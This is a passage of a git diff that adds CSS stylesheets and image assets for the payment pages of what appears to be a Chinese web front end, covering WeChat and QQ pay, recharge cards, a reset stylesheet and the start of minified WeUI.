color:#434343;} +.order-amount12-left{ float:left;} +.order-amount12-left span{ line-height:30px;} +.order-amount12-right{ float:right; line-height:50px;} +.order-amount12-right strong{ font-size:30px; color:#e94832; font-weight:normal;} + + + + +/*支付方式*/ +.PayMethod12{ width:1010px; padding:35px 35px; background:#fff; margin-top:36px;} +.PayMethod12 h2{ font-size:16px; height:30px; line-height:30px; margin-bottom:20px;} +.PayMethod12 ul{ overflow:hidden;} +.PayMethod12 ul li{ width:120px; height:38px; padding: 20px 0 0 30px; margin-bottom:35px; margin-right:60px; float:left; cursor:pointer; border:1px solid #d8d8d8;} +.PayMethod12 ul li.active{ border-color:#1a8ae1;} +.PayMethod12 ul li img{ float:left; margin-right:16px; width:20px; height:20px; } +.PayMethod12 ul li span{ float:left; position:relative; color:#323232;} +.immediate_pay{ display:block; + width:165px; + height:54px; + line-height:54px; + background:#1a8ae1; + font-size:18px; + color:#fff; + text-align:center; + cursor:pointer; + } +.immediate_button{ display:block; + width:165px; + height:54px; + line-height:54px; + background:#1a8ae1; + font-size:18px; + color:#fff; + text-align:center; + cursor:pointer; + } +/*立即支付*/ +.immediate-pay12{ height:54px; background:#fff; margin-top:40px;} +.immediate-pay12-left{ float:left; line-height:50px; margin-left:35px;} +.immediate-pay12-left a { font-size: 18px;color: #1a8ae1;cursor: pointer;} +.immediate-pay12-right{ float:right;} +.immediate-pay12-right span{ float:left; margin:14px 24px 0 0;} +.immediate-pay12-right span strong{ font-size:18px; color:#e94832;} +.immediate-pay12-right .immediate_pay{ float:right;} + +/*充值卡*/ +.card12{ padding:24px 35px; width:1010px; background:#fff; margin-top:36px;} +.card12-type{ overflow:hidden; height:74px; border-bottom:1px solid #dedede;} +.card12-type li{ width:141px; height:46px; line-height:46px; text-align:center; border:1px solid #dedede; float:left; margin-right:48px; cursor:pointer;} +.card12-type li.active{ border-color:#1a8ae1;} +.card12-money{ overflow:hidden; margin-top:22px; height:74px; border-bottom:1px solid #dedede;} +.card12-money li{ width:76px; height:46px; line-height:46px; text-align:center; border:1px solid #dedede; float:left; margin-right:48px; cursor:pointer;} +.card12-money li.active02{ border-color:#1a8ae1;} +.card12-tips{ font-size:14px; line-height:50px;} +.card12-tips span{ color:#cc2023;} +.card12-input{ margin-top:10px;} +.card12-input li{ overflow:hidden; margin-bottom:25px;} +.card12-input li span{ float:left; font-size:20px; width:80px; line-height:36px;} +.card12-input li input{ float:left; width:260px; padding-left:13px; height:36px; line-height:36px; border:1px solid #d8d8d8;} + +/*微信支付*/ +.wechart-pay12{ padding:35px 318px; width:444px; overflow:hidden;} +.wechart-pay12 dl{ float:left;} +.wechart-pay12 dl p{ font-size:14px; color:#989898; text-align:center; height:20px} +.wechart-pay12-moblie{ float:right; width:170px; margin-top:16px;} +.wechart-pay12-moblie img{ width:100%;} + +/* 产品体验首页 */ +.product_experience12 header{ background:url(../images/indexbg12.jpg) no-repeat; height:282px; padding-top:7rem; background-size:100%;} +.product_experience12 .opTit01{ font-size:32px; color:#fff; margin-top:0;} +.product_experience12 .Internet_increment_service10{ position:absolute; top:220px; left:50%; margin-left:-540px;} +.product_experience12-menu{ height:140px; margin-bottom:70px;} +.product_experience12-menu ol li{ height:140px;} +.product_experience12-menu ol li dl{ width:245px; margin:0 auto; overflow:hidden;} +.product_experience12-menu ol li dl dt{ float:left;} +.product_experience12-menu ol li dl dd{ float:right; line-height:140px;} +.product_experience12-menu ol li .dt01{ width:50px; height:57px; margin-top:42px; background:url(../images/product_experience12-h5.png) no-repeat;} +.product_experience12-menu ol li .dt02{ width:56px; height:49px; margin-top:42px; background:url(../images/product_experience12-pc.png) no-repeat;} +.product_experience12-menu ol li .dt03{ width:57px; height:57px; margin-top:42px; background:url(../images/product_experience12-app.png) no-repeat;} +.product_experience12-menu ol li.active .dt01{ width:50px; height:57px; background:url(../images/product_experience12-h5color.png) no-repeat;} +.product_experience12-menu ol li.active .dt02{ width:56px; height:49px; background:url(../images/product_experience12-pccolor.png) no-repeat;} +.product_experience12-menu ol li.active .dt03{ width:57px; height:57px; background:url(../images/product_experience12-appcolor.png) no-repeat;} +.product_experience12-menu{ box-shadow:0 5px 4px 1px #ebe9e9;} +.product_experience12-menu ol li.active dd{ color:#1a8ae1;} +.product_experience12-menu ol li.active{ background-color:transparent;} +.product_experience12-main01{ width:625px; margin:0 auto; display:none;} +.product_experience12-main01 dl{ overflow:hidden;} +.product_experience12-main01 dl dt{ float:left;} +.product_experience12-main01 dl dd{ float:right;} +.product_experience12-main01 dl dd h2{ font-size:22px; margin-bottom:12px;} +.product_experience12-main01 dl dd h3{ font-size:24px;} +.product_experience12-main01 dl dd p{ font-size:14px; color:#a1a1a1;} +.product_experience12-main01 .immediate_pay{ width:135px; height:42px; line-height:42px; color:#fff;} +.product_experience12-main01 .immediate_button{ width:135px; height:42px; line-height:42px;} +.product_experience12-main01 .immediate_pay:hover{ color:#fff;} +.product_experience12-main01 .immediate_button:hover{ color:#fff;} +.product_experience12-main02{ width:710px; text-align:center;} +.product_experience12-main02 dl{ width:345px;} +.product_experience12-main02 dl.andr{ float:left;} +.product_experience12-main02 dl.ios{ float:right;} +.product_experience12-main02 dl dt{ float:none;} +.product_experience12-main02 dl dd{ float:none; font-size:18px; color:#a1a1a1; line-height:60px;} +.product_experience12-main03{ width:320px; margin:0 auto; text-align:center;} +.product_experience12-main03 dl dt{ float:none;} +.product_experience12-main03 dl dd{ float:none;} + +/*支付成功&&失败*/ +.paystument12{ padding:25px 360px; width:360px; background:#fff; text-align:center; display:none;} +.paystument12 h3{ font-size:18px; margin-top:20px;} +.paystument12 h3 span{ font-size:18px;} +.paystument12 h3 a{ font-size:18px; color:#e84832;} + +.paystument13{ padding:1px 360px; width:360px; background:#fff; text-align:left; display:none;} +.paystument12 h4{ font-size:16px; margin-top:20px;} +.paystument12 h4 span{ font-size:16px;} +.paystument12 h4 a{ font-size:16px; color:#e84832;} + +.Return_experienceBtn{width:150px;height:45px;line-height:45px; margin:195px auto 270px;font-size:16px;} + +/*弹窗*/ +.pay_sure12{ width:100%; height:100%; position:fixed; left:0; top:0; z-index:99999; background:rgba(0%,0%,0%,0.3); display:none;} +.pay_sure12 .pay_sure12-main{width:400px; + height:220px; + position:absolute; + left:50%; + margin-left:-200px; + top:15%; + background:#fff; + box-sizing:border-box; + text-align:center; + } +.pay_sure12-main h2{ height:45px; line-height:45px; margin-bottom:20px; text-align:center; background:#f4f4f4; font-size:18px;} +.pay_sure12-main h3,.pay_sure12-main p{ font-size:12px; color:#989898;} +.pay_sure12-main .h3-01{ font-size:15px; color:#323232;} +.pay_sure12-main h3 strong{ color:#989898;font-size:12px;font-weight:normal;} +.pay_sure12-btngroup{ width:250px; margin:20px auto 10px; overflow:hidden;} +.pay_sure12-btngroup a.immediate_pay{ float:left;} +.pay_sure12-btngroup a.immediate_button{ float:left;} +.pay_sure12-btngroup a.immediate_payComplate{ margin-right:50px; width:100px; height:34px; line-height:34px;font-size:13px;} +.pay_sure12-btngroup a.immediate_payChange{ background-color:#f4f4f4; color:#323232; width:100px; height:34px; line-height:34px;font-size:13px;} + +/*底部*/ +.footer12{ text-align:center; color:#cbcbcb; margin-top:50px; margin-bottom:50px;clear:both;} + + +/*首页弹窗*/ +.mt_agree{ width:100%; height:100%; position:fixed; left:0; top:0; z-index:99999; background:rgba(0%,0%,0%,0.3); display:none;} +.mt_agree .mt_agree_main{width:500px; + margin-left:-250px; + height:auto; + position:absolute; + left:50%; + top:15%; + background:#fff; + padding:2%; + box-sizing:border-box; } +.mt_agree h2{ text-align:center; font-size:20px; line-height:50px; border-bottom:1px solid #0568a4;} +.mt_agree p{ font-size:16px; text-align:center; line-height:50px;} +.mt_agree a.close_btn{ display:block; + width:30%; + height:50px; + line-height:50px; + margin:20px auto; + background:#0568a4; + color:#fff; + font-size:18px; + text-align:center; + text-decoration:none; + border-radius:30px; + } + + + +@media screen and (max-height:900px){ + .navBD12{ margin-bottom:16px;} + .card12{ margin-top:0; padding:20px 35px;} + .immediate-pay12{ margin-top:16px;} + .order-amount12{ padding:16px 35px; margin-top:16px;} + .card12-input .card12-input-password{ margin-bottom:0;} + .PayMethod12{ margin-top:16px;} + .product_experience12-menu{ height:120px;} + .product_experience12-menu ol li{ height:120px;} + .product_experience12-menu ol li .dt01{ margin-top:32px;} + .product_experience12-menu ol li .dt02{ margin-top:32px;} + .product_experience12-menu ol li .dt03{ margin-top:32px;} + .product_experience12-menu ol li dl dd{ line-height:120px;} + .product_experience12 .Internet_increment_service10{ top:200px;} + .product_experience12 .opTit01{ margin-top:-10px;} + .product_experience12-menu{ margin-bottom:60px;} + .Return_experienceBtn{ margin:120px auto;} +} + +@media screen and (max-width:768px){ + .w1080{width:100%;} + .order-amount12{width:auto;} + .PayMethod12{width:auto;margin-top:0;} + .PayMethod12 ul li{margin-bottom:20px;} + .nav12-left{margin-left:16px;} + .nav12-left .hidden-xs{display:none;} + .nav12-right{float:left;margin-left:16px;} + .order-amount12-right{float:left;} + .PayMethod12 ul li{width:87%;float:none;} + .immediate-pay12-right{float:left;padding-left:15px;} + .PayMethod12 h2{clear:both;} + .show-lg{ display:none;} + .show-xs{ display:block;} + .wechart-pay12{width:100%; padding:16px;box-sizing:border-box;} + .wechart-pay12 dl{transform:scale(0.7)} + .wechart-pay12-moblie{width: 40%;margin-top: 50px;float:left;} + .card12{width:auto;clear:both;} + .card12-type{width:100%;} + .card12-type li{width:30%;margin-right:6px;font-size:14px;} + .card12-money{width:100%;height:150px;} + .card12-money li{ width:28%;margin:5px;} + .card12-tips{line-height:30px;} + .card12-input li input{width:90%;} + .immediate-pay12-right{margin:24px;} + .immediate_pay{width:120px;} + .immediate-pay12{height:auto;overflow:hidden;} + .paystument12{width:auto;padding:20px;box-sizing:border-box;} + .order-amount12{height:130px;margin-bottom:12px;} + .PayMethod12 ul li{ height:28px; padding: 10px 0 0 30px;} +} \ No newline at end of file diff --git a/assets/css/mqq-pay.png b/assets/css/mqq-pay.png new file mode 100644 index 0000000..948ea71 Binary files /dev/null and b/assets/css/mqq-pay.png differ diff --git a/assets/css/mqq_pay.css b/assets/css/mqq_pay.css new file mode 100644 index 0000000..3d6feef --- /dev/null +++ b/assets/css/mqq_pay.css @@ -0,0 +1,6 @@ +@charset "UTF-8";html{font-size:62.5%;font-family:'helvetica neue',tahoma,arial,'hiragino sans gb','microsoft yahei','Simsun',sans-serif}body,div,dl,dt,dd,ul,ol,li,h1,h2,h3,h4,h5,h6,pre,code,form,fieldset,legend,input,button,textarea,p,blockquote,th,td,hr{margin:0;padding:0}body{line-height:1.333;font-size:12px}h1,h2,h3,h4,h5,h6{font-size:100%;font-family:arial,'hiragino sans gb','microsoft yahei','Simsun',sans-serif}input,textarea,select,button{font-size:12px;font-weight:normal}input[type="button"],input[type="submit"],select,button{cursor:pointer}table{border-collapse:collapse;border-spacing:0}address,caption,cite,code,dfn,em,th,var{font-style:normal;font-weight:normal}li{list-style:none}caption,th{text-align:left}q:before,q:after{content:''}abbr,acronym{border:0;font-variant:normal}sup{vertical-align:text-top}sub{vertical-align:text-bottom}fieldset,img,a img,iframe{border-width:0;border-style:none}img{-ms-interpolation-mode:bicubic}textarea{overflow-y:auto}legend{color:#000}a:link,a:visited{text-decoration:none}hr{height:0}label{cursor:pointer}.clearfix:after{content:"\200B";display:block;height:0;clear:both}.clearfix{*zoom:1}a{color:#328CE5}a:hover{color:#2b8ae8;text-decoration:none}a.hit{color:#C06C6C}a:focus{outline:none}.hit{color:#8DC27E}.txt_auxiliary{color:#A2A2A2}.clear{*zoom:1}.clear:before,.clear:after{content:"";display:table}.clear:after{clear:both}body,.body{background:#f7f7f7;height:100%}.mod-title{height:60px;line-height:60px;text-align:center;border-bottom:1px solid #ddd;background:#fff}.mod-title .ico-wechat{display:inline-block;width:41px;height:36px;background:url("./mqq-pay.png") 0 -115px no-repeat;vertical-align:middle;margin-right:7px}.mod-title .text{font-size:20px;color:#333;font-weight:normal;vertical-align:middle}.mod-ct{width:610px;padding:0 135px;margin:0 auto;margin-top:15px;background:#fff url("./wave.png") top center repeat-x;text-align:center;color:#333;border:1px solid #e5e5e5;border-top:none}.mod-ct .order{font-size:20px;padding-top:30px}.mod-ct .amount{font-size:48px;margin-top:20px}.mod-ct .qr-image{margin-top:30px}.mod-ct .qr-image img{width:230px;height:230px}.mod-ct .detail{margin-top:60px;padding-top:25px}.mod-ct .detail .arrow .ico-arrow{display:inline-block;width:20px;height:11px;background:url("./mqq-pay.png") -25px -100px no-repeat}.mod-ct .detail .detail-ct{display:none;font-size:14px;text-align:right;line-height:28px}.mod-ct .detail .detail-ct dt{float:left}.mod-ct .detail-open{border-top:1px solid #e5e5e5}.mod-ct .detail .arrow{padding:6px 34px;border:1px solid #e5e5e5}.mod-ct .detail .arrow .ico-arrow{display:inline-block;width:20px;height:11px;background:url("./mqq-pay.png") -25px -100px no-repeat}.mod-ct .detail-open .arrow .ico-arrow{display:inline-block;width:20px;height:11px;background:url("./mqq-pay.png") 0 -100px no-repeat}.mod-ct .detail-open .detail-ct{display:block}.mod-ct .tip{margin-top:40px;border-top:1px dashed #e5e5e5;padding:30px 0;position:relative}.mod-ct .tip .ico-scan{display:inline-block;width:56px;height:55px;background:url("./mqq-pay.png") 0 0 no-repeat;vertical-align:middle;*display:inline;*zoom:1}.mod-ct .tip .tip-text{display:inline-block;vertical-align:middle;text-align:left;margin-left:23px;font-size:16px;line-height:28px;*display:inline;*zoom:1}.mod-ct .tip .dec{display:inline-block;width:22px;height:45px;background:url("./mqq-pay.png") 0 -55px no-repeat;position:absolute;top:-23px}.mod-ct .tip .dec-left{background-position:0 -55px;left:-136px}.mod-ct .tip .dec-right{background-position:-25px -55px;right:-136px}.foot{text-align:center;margin:30px auto;color:#888888;font-size:12px;line-height:20px;font-family:"simsun"}.foot .link{color:#0071ce} +@media (max-width:768px){.mod-ct{width:100%;padding:0;border:0} +.mod-ct .tip .dec-right{display:none} +.mod-ct .detail{margin-top:30px} +.mod-ct .detail .detail-ct{padding:0 19px;margin-bottom:19px} +} \ No newline at end of file diff --git a/assets/css/reset.css b/assets/css/reset.css new file mode 100644 index 0000000..c59ac18 --- /dev/null +++ b/assets/css/reset.css @@ -0,0 +1,116 @@ +@charset "utf-8"; +/* CSS Document */ + +body, h1, h2, h3, h4, h5, h6, hr, p, blockquote, /* structural elements 结构元素 */ dl, dt, dd, ul, ol, li, /* list elements 列表元素 */ pre, /* text formatting elements 文本格式元素 */ fieldset, lengend, button, input, textarea, /* form elements 表单元素 */ th, td { /* table elements 表格元素 */ margin: 0; padding: 0; } +html,body{ width:100%; height:100%; color:#6e6e6e; font-family:'微软雅黑'} +/* 设置默认字体 */ +body, button, input, select, textarea { /* for ie */ /*font: 12px/1 Tahoma, Helvetica, Arial, "宋体", sans-serif;*/ +font: 14px/1 Tahoma, Helvetica, Arial, "微软雅黑", sans-serif,; /* 用 ascii 字符表示,使得在任何编码下都无问题 */ } +h1 { font-size: 18px; /* 18px / 12px = 1.5 */ font-family:'微软雅黑'} +h2 { font-size: 24px; font-weight:normal; color:#323232; font-family:'微软雅黑'} +h3 { font-size: 14px; font-weight:normal; font-family:'微软雅黑' } +h4, h5, h6 { font-size: 100%; font-weight:normal; font-family:'微软雅黑' } +p{ font-size:14px; line-height:34px; font-family:'微软雅黑'}/* 段落默认字号和行高 */ +address, cite, dfn, em, var { font-style: normal; } /* 将斜体扶正 */ +code, kbd, pre, samp, tt { font-family: "Courier New", Courier, monospace; } /* 统一等宽字体 */ +small { font-size: 12px; } /* 小于 12px 的中文很难阅读,让 small 正常化 */ +/* 重置列表元素 */ +ul, ol { list-style: none; font-family:'微软雅黑' } +select{ border-style:none;} +/* 重置文本格式元素 */ +a { text-decoration: none; color:#6e6e6e; font-size:14px; outline:none; font-family:'微软雅黑'} +span{ font-size:14px; font-family:'微软雅黑'} +a:hover { text-decoration: none; } +abbr[title], acronym[title] { /* 注:1.ie6 不支持 abbr; 2.这里用了属性选择符,ie6 下无效果 */ border-bottom: 1px dotted; cursor: help; } +q:before, q:after { content: ''; } +/* 重置表单元素 */ +input{ border:none;} +legend { color: #000; } /* for ie6 */ +fieldset, img { border: none; } /* img 搭车:让链接里的 img 无边框 */ +/* 注:optgroup 无法扶正 */ +button, input, select, textarea { font-size: 100%; /* 使得表单元素在 ie 下能继承字体大小 */ } +/* 重置表格元素 */ +table { border-collapse: collapse; border-spacing: 0; width:100%;} +/* 重置 hr */ +hr { border: none; height: 1px; } +/* 让非ie浏览器默认也显示垂直滚动条,防止因滚动条引起的闪烁 */ +html { overflow-y: scroll;} +*:focus {outline: none;} +/* 版心 */ +.w100{ width:100%; /*min-width:1080px;*/ clear:both;} +.w1200{ width:1200px; margin:0 auto;} +.w1300{ width:1300px; margin:0 auto;} +.w1000{ width:1000px; margin:0 auto;} +.w1080{ width:1080px; margin:0 auto;} +/*常用样式*/ +.fl{ float:left;} +.fr{ float:right;} +.tc{ text-align:center;} +.tr{ text-align:right;} +.tl{ text-align:left;} +.f12{ font-size:12px;} +.f14{ font-size:14px;} +.f15{ font-size:15px;} +.f16{ font-size:16px;} +.f18{ font-size:18px;} +.f20{ font-size:20px; color:#323232;} +.f22{ font-size:22px;} +.f24{ font-size:24px; color:#323232;} +.f36{ font-size:36px; color:#323232;} +.fc{ color:#d2151a;} +.l24{ line-height:24px;} +.f30{ font-size:30px; color:#323232;} +.f32{ font-size:32px; color:#323232;} +.l36{ line-height:36px;} +.t2{ text-indent:2em;} +.mt14{ margin-top:14px;} +.mt20{ margin-top:20px;} +.t_ul{ text-decoration:underline;} +.lh24{ line-height:24px;} +.lh32{ line-height:32px;} +.blue{ color:#0568a4;} +.blue_ul{ color:#0568a4; font-size:16px; text-decoration:underline;} +.blue_ul02{ color:#fff; font-size:16px; text-decoration:underline;} +.red{ color:#e20000; font-size:14px;} +.ma{ margin:0 auto;} +select { + /*Chrome和Firefox里面的边框是不一样的,所以复写了一下*/ + border: solid 1px #f8f9fb; + + /*很关键:将默认的select选择框样式清除*/ + appearance:none; + -moz-appearance:none; + -webkit-appearance:none; + + /*在选择框的最右侧中间显示小箭头图片*/ + background:url(../images/arrawdown.png) no-repeat scroll 90% center; + + + /*为下拉小箭头留出一点位置,避免被文字覆盖*/ + padding-right: 14px; +}/* 重置文本格式元素 */ +.mt_userMessage select{ background:url(../images/arrawdown02.png) no-repeat scroll right center;} + +/*定义滚动条高宽及背景 高宽分别对应横竖滚动条的尺寸*/ +::-webkit-scrollbar +{ + width: 6px; + height: 6px; + background-color: #F5F5F5; +} + +/*定义滚动条轨道 内阴影+圆角*/ +::-webkit-scrollbar-track +{ + -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,0.3); + border-radius: 10px; + background-color: #F5F5F5; +} + +/*定义滑块 内阴影+圆角*/ +::-webkit-scrollbar-thumb +{ + border-radius: 10px; + -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3); + background-color: #ccc; +} \ No newline at end of file diff --git a/assets/css/wave.png b/assets/css/wave.png new file mode 100644 index 0000000..6fbe24f Binary files /dev/null and b/assets/css/wave.png differ diff --git a/assets/css/wechat-pay.png b/assets/css/wechat-pay.png new file mode 100644 index 0000000..a961359 Binary files /dev/null and b/assets/css/wechat-pay.png differ diff --git a/assets/css/wechat_pay.css b/assets/css/wechat_pay.css new file mode 100644 index 0000000..e7724fa --- /dev/null +++ b/assets/css/wechat_pay.css @@ -0,0 +1,10 @@ +@charset "UTF-8";html{font-size:62.5%;font-family:'helvetica neue',tahoma,arial,'hiragino sans gb','microsoft yahei','Simsun',sans-serif}body,div,dl,dt,dd,ul,ol,li,h1,h2,h3,h4,h5,h6,pre,code,form,fieldset,legend,input,button,textarea,p,blockquote,th,td,hr{margin:0;padding:0}body{line-height:1.333;font-size:12px}h1,h2,h3,h4,h5,h6{font-size:100%;font-family:arial,'hiragino sans gb','microsoft yahei','Simsun',sans-serif}input,textarea,select,button{font-size:12px;font-weight:normal}input[type="button"],input[type="submit"],select,button{cursor:pointer}table{border-collapse:collapse;border-spacing:0}address,caption,cite,code,dfn,em,th,var{font-style:normal;font-weight:normal}li{list-style:none}caption,th{text-align:left}q:before,q:after{content:''}abbr,acronym{border:0;font-variant:normal}sup{vertical-align:text-top}sub{vertical-align:text-bottom}fieldset,img,a img,iframe{border-width:0;border-style:none}img{-ms-interpolation-mode:bicubic}textarea{overflow-y:auto}legend{color:#000}a:link,a:visited{text-decoration:none}hr{height:0}label{cursor:pointer}.clearfix:after{content:"\200B";display:block;height:0;clear:both}.clearfix{*zoom:1}a{color:#328CE5}a:hover{color:#2b8ae8;text-decoration:none}a.hit{color:#C06C6C}a:focus{outline:none}.hit{color:#8DC27E}.txt_auxiliary{color:#A2A2A2}.clear{*zoom:1}.clear:before,.clear:after{content:"";display:table}.clear:after{clear:both}body,.body{background:#f7f7f7;height:100%}.mod-title{height:60px;line-height:60px;text-align:center;border-bottom:1px solid #ddd;background:#fff}.mod-title .ico-wechat{display:inline-block;width:41px;height:36px;background:url("./wechat-pay.png") 0 -115px no-repeat;vertical-align:middle;margin-right:7px}.mod-title .text{font-size:20px;color:#333;font-weight:normal;vertical-align:middle}.mod-ct{width:610px;padding:0 135px;margin:0 auto;margin-top:15px;background:#fff url("./wave.png") top center repeat-x;text-align:center;color:#333;border:1px solid #e5e5e5;border-top:none}.mod-ct .order{font-size:20px;padding-top:30px}.mod-ct .amount{font-size:48px;margin-top:20px}.mod-ct .qr-image{margin-top:30px}.mod-ct .qr-image img{width:230px;height:230px}.mod-ct .detail{margin-top:60px;padding-top:25px}.mod-ct .detail .arrow .ico-arrow{display:inline-block;width:20px;height:11px;background:url("./wechat-pay.png") -25px -100px no-repeat}.mod-ct .detail .detail-ct{display:none;font-size:14px;text-align:right;line-height:28px}.mod-ct .detail .detail-ct dt{float:left}.mod-ct .detail-open{border-top:1px solid #e5e5e5}.mod-ct .detail .arrow{padding:6px 34px;border:1px solid #e5e5e5}.mod-ct .detail .arrow .ico-arrow{display:inline-block;width:20px;height:11px;background:url("./wechat-pay.png") -25px -100px no-repeat}.mod-ct .detail-open .arrow .ico-arrow{display:inline-block;width:20px;height:11px;background:url("./wechat-pay.png") 0 -100px no-repeat}.mod-ct .detail-open .detail-ct{display:block}.mod-ct .tip{margin-top:40px;border-top:1px dashed #e5e5e5;padding:30px 0;position:relative}.mod-ct .tip .ico-scan{display:inline-block;width:56px;height:55px;background:url("./wechat-pay.png") 0 0 no-repeat;vertical-align:middle;*display:inline;*zoom:1}.mod-ct .tip .tip-text{display:inline-block;vertical-align:middle;text-align:left;margin-left:23px;font-size:16px;line-height:28px;*display:inline;*zoom:1}.mod-ct .tip .dec{display:inline-block;width:22px;height:45px;background:url("./wechat-pay.png") 0 -55px no-repeat;position:absolute;top:-23px}.mod-ct .tip .dec-left{background-position:0 -55px;left:-136px}.mod-ct .tip .dec-right{background-position:-25px -55px;right:-136px}.foot{text-align:center;margin:30px auto;color:#888888;font-size:12px;line-height:20px;font-family:"simsun"}.foot .link{color:#0071ce} +@media (max-width:768px){.mod-ct{width:100%;padding:0;border:0} +.mod-ct .tip .dec-right{display:none} +.mod-ct .detail{margin-top:30px} +.mod-ct .detail .detail-ct{padding:0 19px;margin-bottom:19px} +} +.mobile-btn{margin-top:30px} +.mobile-tip{color:red;font-size:14px;max-width:92%;margin: 0 auto;} +.mobile-btn .mobile-tip{margin-bottom:30px;padding:15px 7px;border:1px dashed #06ae56;} +a.btn-copy-link{padding:10px 30px;cursor:pointer;color:#06ae56;background-color:#f2f2f2;font-size:20px;font-weight:700;} diff --git a/assets/css/weui.min.css b/assets/css/weui.min.css new file mode 100644 index 0000000..77b8a2c --- /dev/null +++ b/assets/css/weui.min.css @@ -0,0 +1,5 @@ +/*! + * WeUI v2.6.21 (https://github.com/weui/weui) + * Copyright 2024 Tencent, Inc. + * Licensed under the MIT license + */.wx-root,body,page{--weui-BTN-HEIGHT:48;--weui-BTN-HEIGHT-MEDIUM:40;--weui-BTN-HEIGHT-SMALL:32}.wx-root,body{--weui-BTN-ACTIVE-MASK:rgba(0,0,0,.2)}.wx-root[data-weui-theme="dark"],body[data-weui-theme="dark"]{--weui-BTN-ACTIVE-MASK:hsla(0,0%,100%,.2)}@media (prefers-color-scheme:dark){.wx-root:not([data-weui-theme="light"]),body:not([data-weui-theme="light"]){--weui-BTN-ACTIVE-MASK:hsla(0,0%,100%,.2)}}.wx-root,body{--weui-BTN-DEFAULT-ACTIVE-BG:#e6e6e6}.wx-root[data-weui-theme="dark"],body[data-weui-theme="dark"]{--weui-BTN-DEFAULT-ACTIVE-BG:hsla(0,0%,100%,.126)}@media (prefers-color-scheme:dark){.wx-root:not([data-weui-theme="light"]),body:not([data-weui-theme="light"]){--weui-BTN-DEFAULT-ACTIVE-BG:hsla(0,0%,100%,.126)}}.wx-root,body{--weui-DIALOG-LINE-COLOR:rgba(0,0,0,.1)}.wx-root[data-weui-theme="dark"],body[data-weui-theme="dark"]{--weui-DIALOG-LINE-COLOR:hsla(0,0%,100%,.1)}@media (prefers-color-scheme:dark){.wx-root:not([data-weui-theme="light"]),body:not([data-weui-theme="light"]){--weui-DIALOG-LINE-COLOR:hsla(0,0%,100%,.1)}}html{-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{line-height:1.6;font-family:system-ui,-apple-system,Helvetica Neue,sans-serif}*{margin:0;padding:0;outline:0;-webkit-tap-highlight-color:rgba(0,0,0,0)}a img{border:0}a{text-decoration:none;cursor:default}input,textarea{caret-color:#07c160;caret-color:var(--weui-BRAND)}::-webkit-input-placeholder{color:rgba(0,0,0,.3);color:var(--weui-FG-2)}::placeholder{color:rgba(0,0,0,.3);color:var(--weui-FG-2)}.wx-root,body{--weui-BG-0:#ededed;--weui-BG-1:#f7f7f7;--weui-BG-2:#fff;--weui-BG-3:#f7f7f7;--weui-BG-4:#4c4c4c;--weui-BG-5:#fff;--weui-BLUE-100:#10aeff;--weui-BLUE-120:#3fbeff;--weui-BLUE-170:#b7e6ff;--weui-BLUE-80:#0c8bcc;--weui-BLUE-90:#0e9ce6;--weui-BLUE-BG-100:#48a6e2;--weui-BLUE-BG-110:#5aafe4;--weui-BLUE-BG-130:#7fc0ea;--weui-BLUE-BG-90:#4095cb;--weui-BRAND-100:#07c160;--weui-BRAND-120:#38cd7f;--weui-BRAND-170:#b4ecce;--weui-BRAND-80:#059a4c;--weui-BRAND-90:#06ae56;--weui-BRAND-BG-100:#2aae67;--weui-BRAND-BG-110:#3eb575;--weui-BRAND-BG-130:#69c694;--weui-BRAND-BG-90:#259c5c;--weui-FG-0:rgba(0,0,0,.9);--weui-FG-0_5:rgba(0,0,0,.9);--weui-FG-1:rgba(0,0,0,.55);--weui-FG-2:rgba(0,0,0,.3);--weui-FG-3:rgba(0,0,0,.1);--weui-FG-4:rgba(0,0,0,.15);--weui-GLYPH-0:rgba(0,0,0,.9);--weui-GLYPH-1:rgba(0,0,0,.55);--weui-GLYPH-2:rgba(0,0,0,.3);--weui-GLYPH-WHITE-0:hsla(0,0%,100%,.8);--weui-GLYPH-WHITE-1:hsla(0,0%,100%,.5);--weui-GLYPH-WHITE-2:hsla(0,0%,100%,.3);--weui-GLYPH-WHITE-3:#fff;--weui-GREEN-100:#91d300;--weui-GREEN-120:#a7db33;--weui-GREEN-170:#def1b3;--weui-GREEN-80:#74a800;--weui-GREEN-90:#82bd00;--weui-GREEN-BG-100:#96be40;--weui-GREEN-BG-110:#a0c452;--weui-GREEN-BG-130:#b5d179;--weui-GREEN-BG-90:#86aa39;--weui-INDIGO-100:#1485ee;--weui-INDIGO-120:#439df1;--weui-INDIGO-170:#b8daf9;--weui-INDIGO-80:#106abe;--weui-INDIGO-90:#1277d6;--weui-INDIGO-BG-100:#2b77bf;--weui-INDIGO-BG-110:#3f84c5;--weui-INDIGO-BG-130:#6ba0d2;--weui-INDIGO-BG-90:#266aab;--weui-LIGHTGREEN-100:#95ec69;--weui-LIGHTGREEN-120:#aaef87;--weui-LIGHTGREEN-170:#def9d1;--weui-LIGHTGREEN-80:#77bc54;--weui-LIGHTGREEN-90:#85d35e;--weui-LIGHTGREEN-BG-100:#72cf60;--weui-LIGHTGREEN-BG-110:#80d370;--weui-LIGHTGREEN-BG-130:#9cdd90;--weui-LIGHTGREEN-BG-90:#66b956;--weui-LINK-100:#576b95;--weui-LINK-120:#7888aa;--weui-LINK-170:#ccd2de;--weui-LINK-80:#455577;--weui-LINK-90:#4e6085;--weui-LINKFINDER-100:#002666;--weui-MATERIAL-ATTACHMENTCOLUMN:hsla(0,0%,96%,.95);--weui-MATERIAL-NAVIGATIONBAR:hsla(0,0%,93%,.94);--weui-MATERIAL-REGULAR:hsla(0,0%,97%,.3);--weui-MATERIAL-THICK:hsla(0,0%,97%,.8);--weui-MATERIAL-THIN:hsla(0,0%,100%,.2);--weui-MATERIAL-TOOLBAR:hsla(0,0%,96%,.82);--weui-ORANGE-100:#fa9d3b;--weui-ORANGE-120:#fbb062;--weui-ORANGE-170:#fde1c3;--weui-ORANGE-80:#c87d2f;--weui-ORANGE-90:#e08c34;--weui-ORANGE-BG-100:#ea7800;--weui-ORANGE-BG-110:#ec8519;--weui-ORANGE-BG-130:#f0a04d;--weui-ORANGE-BG-90:#d26b00;--weui-ORANGERED-100:#ff6146;--weui-OVERLAY:rgba(0,0,0,.5);--weui-OVERLAY-WHITE:hsla(0,0%,95%,.8);--weui-PURPLE-100:#6467f0;--weui-PURPLE-120:#8385f3;--weui-PURPLE-170:#d0d1fa;--weui-PURPLE-80:#5052c0;--weui-PURPLE-90:#595cd7;--weui-PURPLE-BG-100:#6769ba;--weui-PURPLE-BG-110:#7678c1;--weui-PURPLE-BG-130:#9496c